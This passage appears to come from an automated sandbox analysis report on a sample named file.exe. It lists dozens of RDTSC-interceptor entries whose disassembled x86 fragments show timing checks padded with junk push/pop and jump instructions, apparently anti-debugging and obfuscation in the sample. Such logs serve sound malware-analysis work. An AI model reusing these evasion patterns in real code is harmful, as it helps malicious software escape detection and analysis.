0x00000078 push edx 0x00000079 push edx 0x0000007a pop edx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7466F second address: F74693 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FE0F4D44917h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76443 second address: F76447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F754E6 second address: F754EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F783DC second address: F783E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F783E1 second address: F783E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F783E7 second address: F783EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F783EB second address: F78444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007FE0F4D44925h 0x0000000f jns 00007FE0F4D4491Fh 0x00000015 nop 0x00000016 jmp 00007FE0F4D4490Ch 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e mov ebx, dword ptr [ebp+122D24B0h] 0x00000024 pop ebx 0x00000025 mov edi, 2BBE1DA8h 0x0000002a push 00000000h 0x0000002c mov di, 11B5h 0x00000030 xchg eax, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push edi 0x00000035 pop edi 0x00000036 pushad 0x00000037 popad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A393 second address: F7A3B9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE0F4DC3CBCh 0x00000008 jmp 00007FE0F4DC3CB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77606 second address: F7760C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D067 second address: F7D07E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE0F4DC3CB3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C361 second address: F7C366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C366 second address: F7C3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FE0F4DC3CA8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 push dword ptr fs:[00000000h] 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007FE0F4DC3CA8h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 cld 0x00000048 mov dword ptr fs:[00000000h], esp 0x0000004f or edi, 20B2FF57h 0x00000055 mov eax, dword ptr [ebp+122D0349h] 0x0000005b push FFFFFFFFh 0x0000005d sbb bx, 43FDh 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 jbe 00007FE0F4DC3CA6h 0x0000006c pop eax 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80F53 second address: F80F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8549E second address: F854AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CAAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F854AE second address: F854B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FE0F4D44906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84B9D second address: F84BA7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE0F4DC3CAEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84E45 second address: F84E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84E49 second address: F84E88 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE0F4DC3CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE0F4DC3CB7h 0x0000000f js 00007FE0F4DC3CC2h 0x00000015 jmp 00007FE0F4DC3CB6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84FD1 second address: F84FD7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84FD7 second address: F84FE3 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE0F4DC3CAEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22224 second address: F22237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D4490Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22237 second address: F2223D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2223D second address: F22247 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE0F4D44906h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E5ED second address: F8E5F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E5F1 second address: F8E5F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E5F7 second address: F8E612 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE0F4DC3CACh 0x00000008 js 00007FE0F4DC3CA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007FE0F4DC3CA8h 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E612 second address: F8E64D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FE0F4D44906h 0x00000009 jbe 00007FE0F4D44906h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jnl 00007FE0F4D4491Eh 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E64D second address: F8E651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E651 second address: F8E66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jp 00007FE0F4D44906h 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push edi 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92EFC second address: F92F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92F01 second address: F92F4A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE0F4D4490Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jns 00007FE0F4D4491Dh 0x00000011 jmp 00007FE0F4D4490Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 jg 00007FE0F4D44906h 0x0000001e jne 00007FE0F4D44906h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9368A second address: F936B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FE0F4DC3CA6h 0x0000000d jmp 00007FE0F4DC3CB4h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007FE0F4DC3CA6h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93AF3 second address: F93B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE0F4D44906h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93B04 second address: F93B08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93FF4 second address: F94005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4D4490Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94005 second address: F94023 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE0F4DC3CA6h 0x00000008 jmp 00007FE0F4DC3CB4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94023 second address: F94035 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE0F4D44908h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94035 second address: F9403B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9403B second address: F9403F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9403F second address: F94047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96DE8 second address: F96DEE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DFB9 second address: F9DFCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push edx 0x00000008 push ecx 0x00000009 jbe 00007FE0F4DC3CA6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CCE8 second address: F9CCF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FE0F4D44906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CCF2 second address: F9CD18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FE0F4DC3CBCh 0x00000010 jmp 00007FE0F4DC3CB4h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D6A9 second address: F9D6AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D6AF second address: F9D6B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D6B3 second address: F9D6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D826 second address: F9D82C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D82C second address: F9D83E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE0F4D4490Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D98C second address: F9D9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE0F4DC3CB0h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D9AC second address: F9D9C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44912h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A934 second address: F6A93E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FE0F4DC3CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A93E second address: F6A969 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007FE0F4D4490Eh 0x00000014 lea eax, dword ptr [ebp+1248E69Bh] 0x0000001a movzx ecx, ax 0x0000001d push eax 0x0000001e pushad 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A969 second address: F44E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FE0F4DC3CB3h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov cx, di 0x00000011 jmp 00007FE0F4DC3CB3h 0x00000016 call dword ptr [ebp+1245C5B4h] 0x0000001c jmp 00007FE0F4DC3CB1h 0x00000021 pushad 0x00000022 push ecx 0x00000023 jmp 00007FE0F4DC3CAAh 0x00000028 jmp 00007FE0F4DC3CB2h 0x0000002d pop ecx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AE18 second address: F6AE1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AFAC second address: F6AFB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B02D second address: F6B031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B031 second address: F6B047 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE0F4DC3CB1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B2C4 second address: F6B2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B2C8 second address: F6B2CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B794 second address: F6B798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B798 second address: F6B7BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE0F4DC3CACh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BA70 second address: F6BA88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D4490Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BA88 second address: F6BA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BA8C second address: F6BAA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44910h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BAA4 second address: F6BAA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BBD0 second address: F6BC02 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a and edx, dword ptr [ebp+122D18D4h] 0x00000010 lea eax, dword ptr [ebp+1248E69Bh] 0x00000016 jno 00007FE0F4D4490Ch 0x0000001c xor dword ptr [ebp+122D2D4Eh], ecx 0x00000022 nop 0x00000023 push esi 0x00000024 push eax 0x00000025 push edx 0x00000026 jno 00007FE0F4D44906h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BC02 second address: F6BC0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ecx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BC0E second address: F4593A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007FE0F4D44908h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 push ebx 0x00000022 mov dword ptr [ebp+12454EC6h], esi 0x00000028 pop ecx 0x00000029 call dword ptr [ebp+122D1A0Ch] 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4593A second address: F4593E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4593E second address: F4595E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FE0F4D4490Ch 0x0000000c je 00007FE0F4D44906h 0x00000012 popad 0x00000013 pushad 0x00000014 jno 00007FE0F4D44908h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4595E second address: F45968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE0F4DC3CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45968 second address: F4596E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28E1E second address: F28E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28E24 second address: F28E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA17E6 second address: FA1814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CB0h 0x00000009 popad 0x0000000a jmp 00007FE0F4DC3CB9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1814 second address: FA1819 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1819 second address: FA1835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushad 0x00000009 jmp 00007FE0F4DC3CB1h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3C43 second address: FA3C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3C49 second address: FA3C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6F3C second address: FA6F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE0F4D4490Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6F51 second address: FA6F5B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE0F4DC3CA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6F5B second address: FA6F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6F61 second address: FA6F66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA854B second address: FA8551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8551 second address: FA8567 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE0F4DC3CA6h 0x00000008 jns 00007FE0F4DC3CA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push esi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8567 second address: FA856F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACBD0 second address: FACBD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACBD6 second address: FACBDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACD4F second address: FACD70 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE0F4DC3CB8h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE0F4DC3CB0h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACF1F second address: FACF3D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE0F4D4490Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE0F4D4490Bh 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
